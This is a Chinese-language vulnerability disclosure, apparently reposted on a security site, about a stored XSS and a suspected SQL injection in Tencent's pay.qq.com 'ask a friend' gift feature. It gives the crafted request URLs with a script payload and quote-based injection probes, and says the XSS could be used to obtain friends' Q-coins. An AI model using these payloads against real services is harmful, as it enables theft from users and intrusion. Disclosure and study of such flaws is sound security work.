腾讯向好友索要功能xss+疑似SQL注射 - 网站安全

腾讯向好友索要功能xss，提交索要，点击后直接通过xss和上下文环境功能即可获得他人QB

另外提交索要处疑似SQL注射。

pay.qq.com 域名哦。。

详细说明：

http://pay.qq.com/service/ask_v2.shtml?sid=1&cm=bank&aid=vip.pingtai.pay.index.qqvip

向好友索要功能

 

当然不能像上图直接提交，因为js会被过滤，而是通过下面链接提交

 

http://pay.qq.com/cgi-bin/askforgift/payask.cgi?outputjson=true&service_type=LTMCLUB&note=<script defer>alert(1);send.formCheck(0);</script>&uin=自己的Q号&month=3&askeduin=好友的Q号

 

 

当好友收到请求后，点击链接，即

 

 

 

我们看看原因

请处理以下索要信息： 页面中通过ajax请求获取索要的信息，然后通过 innerHTML形式设置内容，看下两图

 

 

 

 

由于显示信息页面没有处理好编码，因此造成 漏洞 。。

不过测试过程中发现，程序中过虑了 \ = 等，因此上述方式只能用于 IE 和 chrome 。其它 浏览器 需要绕过过滤执行js暂没研究。

 

 

疑似注入地址也是这个索要请求的地址

http://pay.qq.com/cgi-bin/askforgift/payask.cgi?outputjson=true&service_type=LTMCLUB&note=x'&uin=自己的Q号&month=3&askeduin=好友的Q号

当存在 ' 时，返回出错

{ "resultcode": 20052, "resultinfo": "对不起， 系统 忙，请稍后再试。" }

www.2cto.com

初步猜是 insert 型注入点。。

可以试试

http://pay.qq.com/cgi-bin/askforgift/payask.cgi?outputjson=true&service_type=LTMCLUB&note=x''&uin=自己的Q号&month=3&askeduin=好友的Q号

发送成功

而看到请求的信息中，

好友留言：

x'

即证明了这个注入点的存在。。

你们自己看吧。。。

 

修复方案：

你们比我懂！

查看更多关于腾讯向好友索要功能xss+疑似SQL注射 - 网站安全的详细内容...